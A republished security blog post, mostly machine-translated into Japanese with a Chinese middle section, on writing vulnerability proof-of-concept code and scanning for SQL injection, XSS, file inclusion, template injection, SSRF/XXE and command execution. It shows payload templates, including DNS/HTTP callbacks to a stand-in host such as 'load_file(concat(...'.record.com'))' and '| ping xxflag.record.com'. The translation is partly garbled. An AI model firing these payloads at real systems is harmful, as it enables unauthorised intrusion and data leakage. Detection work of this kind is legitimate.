脆弱性検出に関すること

WBOY
WBOYオリジナル
2016-06-20 12:26:511251ブラウズ

0x00 はじめに

長い間投稿していなかったようですが、最近、思いつきで「脆弱性検出に関するあれこれ」について話すことにしました。今、比較的有害な脆弱性の検証PoCやExploit EXPが発表されると、その穴を利用する飢えたヘイターが大挙して現れるという現象が起きており、通行人の私としては少々羨ましい気持ちになる。 XD

まだ穴は開いていますが、卵はまだ取り出さなければなりません。脆弱性の開示から研究者の分析と検証、PoC の作成、そして大規模なスキャンと検出に至るまで、この連動する脆弱性の緊急ライフサイクルにおいて、最も重要な部分は PoC の作成 と 脆弱性検出は 2 つの部分で構成されます:

  • PoC 作成 - 脆弱性環境を再現し、脆弱性再現プロセスをコード化
  • 脆弱性の検出
  • - 作成された PoC を使用して、テスト対象に脆弱性があるかどうかを検証します。このプロセス中 (または PoC を作成するとき)、安全のために次のことを行う必要があることに注意してください。効果的かつ無害であるため、スキャン プロセスがターゲット ホストに不可逆的な影響を与えないように注意してください
  • まず、
PoC 書き込み

について話しましょう。私の意見では、PoC の作成はセキュリティ研究者または脆弱性アナリストの最も基本的な日常業務であり、著者はコードを通じて脆弱性の検証と分析のプロセスを説明し、さまざまな種類の脆弱性に応じて対応する PoC を作成します。長年にわたって PoC を作成する際に蓄積された経験に基づいて、私は個人的に、PoC を作成する際には次のようないくつかのガイドラインに従う必要があると考えています。

    ランダム性
  • 確実性
  • 普遍的
  • 多分あなたは私が学者すぎると思うでしょうか?それでは、少しずつわかりやすく解説していきます。

0x01 PoC 作成ガイドラインと例

i. ランダム性

PoC に含まれる主要な変数またはデータはランダムである必要があり、固定変数値で生成されることはありません。可能な限りランダムに生成されます (アップロードされたファイルのファイル名、Web シェルのパスワード、アラート文字列、MD5 値など) いくつかの例を見てみましょう (実際には宣伝していません。ほとんどの例は pocsuite PoC フレームワークを使用しています)。 ):

上の図に示されているコードは、WordPress の特定のテーマによって引き起こされる任意のファイルのアップロードの脆弱性の検証コードの重要な部分であることがわかります。テストで使用されるアップロードされたファイル名は明らかに固定ファイル名であり、

は前述のランダム性

に違反します。ここでもう一言、PoC で固定変数やデータを使用することに問題があると言っているわけではありませんが、ランダムにできるデータをランダム化することで、スキャンと検出のプロセスにおけるリスクを軽減できると思います (具体的なリスクは何ですか?自分で決めてください)。 ランダム性に従って、コードは次のように変更できます。

変更後のアップロードされたファイルのファイル名は、ランダムに生成された 6 桁の文字になります。スキャン検出インタラクション データが追跡される可能性はある程度減少します。

ii. 確実性

PoC では、脆弱性が存在するかどうかを示すためにテストによって返されたコンテンツを通じて一意の識別情報を見つけることができますが、この識別情報はターゲットにする必要があります。判断するには曖昧すぎる条件 (HTTP リクエストの戻りステータス、固定ページで制御可能なコンテンツなど) を使用しないでください。同様に、例で説明します。

上の図に示されているコードは、特定の Web アプリケーションの UNION 型 SQL インジェクション脆弱性検証コードです。コードは直接接続されています。 by -1' Union select 1,md5(1) -- 注入します。この脆弱性にはデータ エコーがあるため、テスト注入が成功すると、md5(1) の値がページ c4ca4238a0b923820dcc509a6f75849b に出力されます。 PoC には何の問題もないようですが、ランダム性の最初の基準と組み合わせると、ランダム化後の精度が高くなるため、ここでは md5(rand_num) を使用する方が良いと思います。

ここにもいません。私はあなたを騙しています。あるサイトに脆弱性がないのに、ページに c4ca4238a0b923820dcc509a6f75849b がある場合はどう思いますか?

そうは言っても、Python リクエスト ライブラリのユーザーが見落とす可能性がある問題について話しましょう。場合によっては、リクエストの戻りオブジェクトを取得したときに、次のコードのような事前判定を行います:

Python の条件判定は空か True のどちらかだと言う人もいるかもしれませんが、しかし、これが本当にここで行われている方法なのでしょうか?いいえ、実戦で遭遇した落とし穴とその後のテストの結果、Response オブジェクトの条件判定は HTTP の戻りステータス コードによって判定され、ステータス コードの範囲が [400, 600] の間の場合、条件判定が返されることが判明しました。間違い。 (信じられない場合は自分で試してみてください)

なぜこの点について言及する必要があるのでしょうか? 脆弱性をテストしたり、ペイロードにヒットしたりすると、バックエンド処理ロジックのエラーによりターゲットが 500 を返すことがありますが、この時点では実際には 500 が返されるためです。ページに脆弱性があるとロゴが表示されます。先ほどの方法で Response オブジェクトを事前に条件判定すると、今度は偽陰性になります。それで、何をすべきか知っていますよね?

iii. 汎用性

PoC で使用されるペイロードまたは検出コードは、さまざまな環境またはプラットフォームを考慮する必要があります。汎用ペイロードを構築できる場合は、単一のターゲットに対して検出コードを使用しないでください。脆弱性が再現される環境(ファイルインクルード時のパス形式、コマンド実行時の実行コマンドなど)だけを考慮しないでください。次の図は、WordPress のプラグインによって引き起こされる任意のファイル ダウンロードの脆弱性を示しています。

上記の検証コードのロジックは、単に任意のパスを通じて /etc/passwd ファイルを読み取ることです。ファイルのダウンロードの脆弱性を確認し、返されたファイルの内容にキー文字列または識別子が含まれているかどうかを判断します。明らかに、このペイロードは *nix 環境にのみ適用でき、Windows プラットフォームには適用できません。より良いアプローチは、脆弱なアプリケーションの環境に基づいて脆弱性の存在を明確に反映する識別子を見つけることです。ここでは、WordPress 設定ファイル wp-config.php を使用して判断できます (もちろん、下の図の最終的な判断方法はそれほど厳密ではないかもしれません。):

この変更により、ペイロードは複数のプラットフォーム環境を同時に考慮し、普遍的になります。

大小の脆弱性の PoC を書いた私の経験から、これら 3 つの原則を要約することができました。これがでたらめだと思われる方は、これ以上読まないでください。 QWQ

0x02 脆弱性検出方法と例

「脆弱性検出!脆弱性検出?脆弱性検出…」とここまで言いましたが、脆弱性検出方法をどのようにまとめればよいのでしょうか?私の考えでは、Web 脆弱性の種類の特徴とその現れ方に応じて、直接判断間接判断の 2 つの大きなカテゴリに分類できると考えています。

  • 直接判定: Payloadでリクエストを送信することで、返された内容から該当するステータスを直接照合して判定することができます
  • 間接判定: 返された内容から直接判断することは不可能です。脆弱性がトリガーされたかどうかを間接的に反映するには、他のツールを使用する必要があります。

これ以上言っても無駄です。それを説明するために例を示します (次のペイロードは完全に汎用的なものではありません)。

1. 直接判定

i. SQLi (echo)

エコーによる SQL インジェクションの場合、検出方法は比較的固定されており、ここでは「ランダム性」と「確実性」に従います。 」 2 点で十分です。

エラーベースの SQL インジェクション

#!phppayload: "... updatexml(1,concat(":",rand_str1,rand_str2),1) ..."condition: (rand_str1 + rand_str2) in response.content

エラーインジェクションの場合、ランダム性を使用してペイロードを構築すると、誤検知を引き起こすいくつかの小さな確率イベントの影響を受ける脆弱性をより安定して特定できます。 。上記の 2 行のコードの意味を理解できたかどうかはわかりませんが、簡単に言えば、検証中に必要なのは、この予測可能な結果が存在するかどうかを検証することだけです。

UNION SQL インジェクション

#!phppayload1: "... union select md5(rand_num) ..."condition1: md5(rand_num) in response.contentpayload2: "... union select concat(rand_str1, rand_str2) ..."condition2: (rand_str1 + rand_str2) in response.content

md5(rand_num) これは、ペイロードが正常に実行されると、ページ上に md5 が存在することを理解するのは簡単です。 echo.(rand_num) ハッシュ値。ペイロードはランダムであるため、誤検知率は低くなります。

ii. QWQ

#!phppayload: "... var _=rand_str1+rand_str2;confirm(_); ..."condition: (rand_str1 + rand_str2) in response.content
iii. ローカル ファイルの組み込み/任意のファイルのダウンロード (エコー)

ローカル ファイルの組み込みと任意のファイルのダウンロードの最大の違いは何ですか?ローカル ファイルのインクルードでは、ファイル コンテンツを取得できるだけでなく、コードを実行するためのスクリプト ファイルを動的にインクルードすることもできます。一方、ファイルのダウンロードでは、ファイル コンテンツの取得のみが可能で、コードの実行はできません。 XD

そのため、このような脆弱性を検出する場合は、ファイルのインクルード/ダウンロード テストを実行するときに、テスト ベクトルとして Web アプリケーションに関連して修正されたファイルを見つける必要があります。

たとえば、WordPress アプリケーション パス内の ./wp-config.php ファイルは、アプリケーションに必要なデフォルトの構成ファイルであり、ファイル内の特別な文字列識別子 require_once(ABSPATH . 'wp-settings.php'); は通常は必要ありません。 (もちろん、他の特徴的な文字列も可能です) ファイルのダウンロードをスキャンする場合は、./wp-config.php ファイルをダウンロードして、その内容に特徴的な文字列が含まれているかどうかを確認するだけで、脆弱性があるかどうかを判断できます。 。

#!phppayload: "... ?file=../../../fixed_file ..."condition: (content_flag_in_fixed_file) in response.content 
iv. リモート コード/コマンド実行 (エコー)

リモート コード/コマンド実行は、無害な方法でスキャンする必要があります。特性関数を検索し、ページに戻って特性識別子が存在するかどうかを確認して、脆弱性が存在するかどうかを確認します。

もちろん、どのような特徴的なコマンドを実行するかは、具体的な脆弱性環境に基づいて決定する必要があります。

v. SSTI/ELI(回显)

模板注入和表达式注入相对于传统的 SQLi 和 XSS 来说,应该算得上是在开框架化、整体化的过程中产生的问题,当模板内容可控时各种传统的 Web 漏洞也就出现了,XSS、命令执行都能够通过模板注入活着表达式注入做到。曾经风靡一时的 Struts2 漏洞我觉得都能归到此类漏洞中。通常检测只需构造相应模板语言对应的表达式即可,存在注入表达式会得以执行并返回内容:

#!phppayload1: "... param=%(rand_num1 + rand_num2) ..."condition1: (rand_num1 + rand_num2) in response.contentpayload2: "... param=%(rand_num1 * rand_num2) ..."condition2: (rand_num1 * rand_num2) in response.contentpayload3: "... #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(rand_str1+rand_str2),#response.flush(),#response.close() .."condition3: (rand_str1+ rand_str2) in response.content

vi. 文件哈希

有时候漏洞只与单个文件有关,例如 Flash、JavaScript 等文件造成的漏洞,这个时候就可以利用文件哈希来直接判断是否存在漏洞。扫描检测时,首先需要给定路径下载对应的文件然后计算哈希与统计的具有漏洞的所有文件哈希进行比对,匹配成功则说明漏洞存在:

#!phppayload: "http://vuln.com/vuln_swf_file.swf"condition: hash(vul_swf_file.swf) == hash_recorded

以上就是针对 Web 漏洞检测方法中的 “直接判断” 进行了示例说明,因 Web 漏洞类型繁多且环境复杂,这里不可能对其进行一一举例,所举的例子都是为了更好的说明 “直接判断” 这种检测方法。:)

2. 间接判断

“无回显?测不了,扫不了,很尴尬!怎么办。。。“

在很久很久之前,我遇到上诉这些漏洞环境时是一脸懵逼的 (⇀‸↼‶),一开始懂得了用回连进行判断,后来有了 python -m SimpleHTTPServer 作为简单实时的 HTTP Server 作为回连监控,再后来有了 《Data Retrieval over DNS in SQL Injection Attacks》 这篇 Paper,虽然文章说的技术点是通过 DNS 查询来获取 SQL 盲注的数据,但是 "Data Retrieval over DNS" 这种技术已经可以应用到大多数无法回显的漏洞上了,进而出现了一些公开的平台供安全研究爱好者们使用,如:乌云的 cloudeye 和 Bugscan 的 DNSLog,当然还有我重写的 CEYE.IO 平台。

"Data Retrieval over DNS" 技术原理其实很简单,首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下(借的 Ricter 的):

说了那么多,还是不知道怎么用么?那就直接看示例吧(所以后端平台都用 CEYE.IO 作为例子)。

i. XSS(无回显)

XSS 盲打在安全测试的时候是比较常用的,“看到框就想 X” 也是每位 XSSer 的信仰:

#!htmlpayload: "... ><img src=http://record.com/?blindxss ..."condition: {http://record.com/?blindxss LOG} in HTTP requests LOGs

通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

ii. SQLi(无回显)

SQL 注入中无回显的情况是很常见的,但是有了 "Data Retrieval over DNS" 这种技术的话一切都变得简单了,前提是目标环境符合要求。 《HawkEye Log/Dns 在Sql注入中的应用》 这篇文章提供了一些常见数据库中使用 "Data Retrieval over DNS" 技术进行盲注的 Payloads。

#!htmlpayload: "... load_file(concat('\\\\',user(),'.record.com\\blindsqli'))condition: {*.record.com LOG} in DNS queries LOGs

只要目标系统环境符合要求并且执行了注入的命令,那么就会去解析预先设置好的域名,同时通过监控平台能够拿到返回的数据。

iii. SSRF(无回显)

根据上面两个例子,熟悉 SSRF 的同学肯定也是知道怎么玩了:

#!htmlpayload: "... <!ENTITY test SYSTEM "http://record.com/?blindssrf"> ..."condition: {http://record.com/?blindssrf LOG} in HTTP requests LOGs

iv. RCE(无回显)

命令执行/命令注入这个得好好说一下,我相信很多同学都懂得在命令执行无法回显的时候借用类似 python -m SimpleHTTPServer 这样的环境,采用回连的检测机制来实时监控访问日志。*nix 系统环境下一般是使用 curl 命令或者 wget 命令,而 windows 系统环境就没有这么方便的命令去直接访问一个链接,我之前常用的是 ftp 命令和 PowerShell 中的文件下载来访问日志服务器。现在,有了一个比较通用的做法同时兼顾 *nix 和 windows 平台,那就是 ping 命令,当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。

#!bashpayload: "... | ping xxflag.record.com ..."condition: {xxflag.record.com LOG} in DNS queries LOGs

通过这几个 "间接判断" 的示例,相信大家也大概了解了在漏洞无回显的情况下如何进行扫描和检测了。更多的无回显 Payloads 可以通过 http://ceye.io/payloads 进行查看。(勿喷)

0x03 应急实战举例

原理和例子扯了这么多,也该上上实际的扫描检测案例了。

Java デシリアライゼーション (一般的な例、ftp/ping)

まず、2015 年末に発生した Java デシリアライゼーションの脆弱性について説明します。この脆弱性は、現在最も Web の脆弱性と見なされるべきです。 15年。緊急スキャンの際、WebLogic echoのPoCが完了していないことをスキャンして検出する際に、テスト対象に*nix環境とWindows環境が含まれていたため、2つの異なるペイロードを作成して判定したことを思い出しました。その時点でスキャンされたコードのペイロード生成部分は:

i. *nix

その時点の実際のログの内容:

ペイロードを構築するときに、リンク パラメーターを使用して各テストの IP アドレスとポートを一意に識別していることがわかります。これにより、アクセス ログをチェックするときに、レコードが(インレット IP とエグレス IP が一致しない可能性があるため)、バッチ スキャンを実行する際のターゲットの確認とログ処理も容易になります。

ii. windows

その時の実際のログ内容:

Windows の ftp コマンドでは同様のものを取得できないためパラメータに署名するため、イングレス IP とエグレス IP が一致しない場合があるため、FTP サーバーの接続ログを観察してテストのターゲットを確認するのはそれほど簡単ではありません。

上記の PoC とログのスクリーンショットはすべて昨年の緊急事態中に撮影されたもので、当時を振り返り、現在の知識をいくつか組み合わせると、xxxxx.record.com への ping に共通のペイロードが使用されていたことがわかりました。 「DNS 経由のデータ取得」テクノロジーを使用して、より汎用性が高く便利な検出とスキャンのための情報ログを収集します。したがって、私は最近ペイロードを変更し、CEYE.IO プラットフォームと組み合わせて、WebLogic の逆シリアル化の脆弱性の影響を徹底的に調査しました。

ここにランダムな文字列をサブドメイン名として追加します。これは、複数の検出中にローカル DNS キャッシュによって引き起こされる問題を防ぐためです (システムは通常、DNS レコードをキャッシュします。同じドメイン名が初めてネットワーク解決を通じてアドレスを取得した後、2 回目は通常、ネットワーク解決を行わずにローカル キャッシュを直接使用します)クエリリクエストを開始します)。

対応するプラットフォームのレコードは(もう少し):

(ちなみにQWQにはこんな便利なプラットフォームもあります)

知らず知らずのうちにたくさんの QWQ を書いてしまい、とても疲れました。 。 。要約できること、要約しなければならないことがたくさんあるので、今回は少しだけ書きます。

この記事を注意深く読んだ人がどう思うかはわかりませんが、おそらくあなたは私以上に要約の一部を知っていますが、私は自分の経験を振り返るためにこれを書いているだけです。私の知識のみに責任を負います。スキャンと検出に関することについて話し合うために、どなたでも私のところに来てください。 :)

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。